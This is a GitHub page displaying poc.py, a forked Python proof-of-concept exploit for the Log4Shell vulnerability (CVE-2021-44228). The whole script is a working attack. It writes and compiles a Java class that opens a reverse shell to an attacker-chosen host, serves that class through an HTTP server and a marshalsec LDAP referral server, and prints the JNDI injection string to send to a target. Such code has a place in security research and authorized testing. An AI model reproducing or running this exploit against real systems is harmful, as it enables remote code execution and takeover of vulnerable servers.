forked from kozmer/log4j-shell-poc
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathpoc.py
executable file
·189 lines (150 loc) · 5.69 KB
/
poc.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
#!/usr/bin/env python3
import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler
# Get the present working directory
CUR_FOLDER = Path(__file__).parent.resolve()
def generate_payload(userip: str, lport: int) -> None:
"""Function to generate Exploit Java code and class file to be stored in LDAP Server"""
# Define the Exploit Java code
# Accepts LDAP Server host and Reverse Shell port dynamically
program = """
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
public Exploit() throws Exception {
String host="%s";
int port=%d;
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),
pe=p.getErrorStream(),
si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
}
""" % (userip, lport)
# Define the Exploit Java code filename as "Exploit.java"
p = Path("Exploit.java")
try:
# Write the Exploit Java code to the filename "Exploit.java"
p.write_text(program)
# Compile the Exploit Java code
subprocess.run([os.path.join(CUR_FOLDER, "java-8-openjdk-amd64/bin/javac"), str(p)])
except OSError as e:
# Print any errors while running the code
print(Fore.RED + f'[-] Something went wrong {e}')
raise e
else:
# Else print the successful execution of code
print(Fore.GREEN + '[+] Exploit java class created success')
def payload(userip: str, webport: int, lport: int) -> None:
"""Function to start LDAP Server"""
# Call function to generate Exploit Java code and class file
generate_payload(userip, lport)
# Print message as starting LDAP server
print(Fore.GREEN + '[+] Setting up LDAP server\n')
# Create the LDAP server on new thread
# Define the thread targeting the "ldap_server" function
# Run the LDAP Server on "userip" server and "webport" port
t1 = threading.Thread(target=ldap_server, args=(userip, webport))
# Start the thread
t1.start()
# Start the LDAP web server
print(f"[+] Starting Webserver on port {webport} http://0.0.0.0:{webport}")
httpd = HTTPServer(('0.0.0.0', webport), SimpleHTTPRequestHandler)
# Continuously run the LDAP server
httpd.serve_forever()
def check_java() -> bool:
"""Function to check if Java '1.8.0_342' is installed"""
# Check if Java "1.8.0_342" is installed in Present Working Directory
exit_code = subprocess.call([
os.path.join(CUR_FOLDER, 'java-8-openjdk-amd64/bin/java'),
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
# Return "True" if correct Java is installed
return exit_code == 0
def ldap_server(userip: str, lport: int) -> None:
"""Function to setup LDAP link"""
sendme = "${jndi:ldap://%s:1389/a}" % (userip)
print(Fore.GREEN + f"[+] Send me: {sendme}\n")
url = "http://{}:{}/#Exploit".format(userip, lport)
subprocess.run([
os.path.join(CUR_FOLDER, "java-8-openjdk-amd64/bin/java"),
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
def main() -> None:
"""The main function"""
# Initialize colorama
init(autoreset=True)
# Print details of the GitHub repo
print(Fore.BLUE + """
[!] CVE: CVE-2021-44228
[!] Forked from Github repo: https://github.com/kozmer/log4j-shell-poc
""")
# Declare the argument parser
parser = argparse.ArgumentParser(description='log4shell PoC')
# Add argument to get LDAP Server address
parser.add_argument('--userip',
metavar='userip',
type=str,
default='localhost',
help='Enter IP for LDAPRefServer & Shell')
# Add argument to get LDAP Server port
parser.add_argument('--webport',
metavar='webport',
type=int,
default='8000',
help='listener port for HTTP port')
# Add argument to get NetCat Reverse Shell listening port
parser.add_argument('--lport',
metavar='lport',
type=int,
default='9001',
help='Netcat Port')
# Parse the arguments
args = parser.parse_args()
try:
# Check if Java "java-8-openjdk-amd64" is installed
if not check_java():
# Exit code if Java is not installed
print(Fore.RED + '[-] Java is not installed inside the repository')
raise SystemExit(1)
# Generate the Java code and class file
payload(args.userip, args.webport, args.lport)
except KeyboardInterrupt:
# Exit code gracefully if interrupted by user
print(Fore.RED + "user interrupted the program.")
raise SystemExit(0)
# Call the main function
if __name__ == "__main__":
main()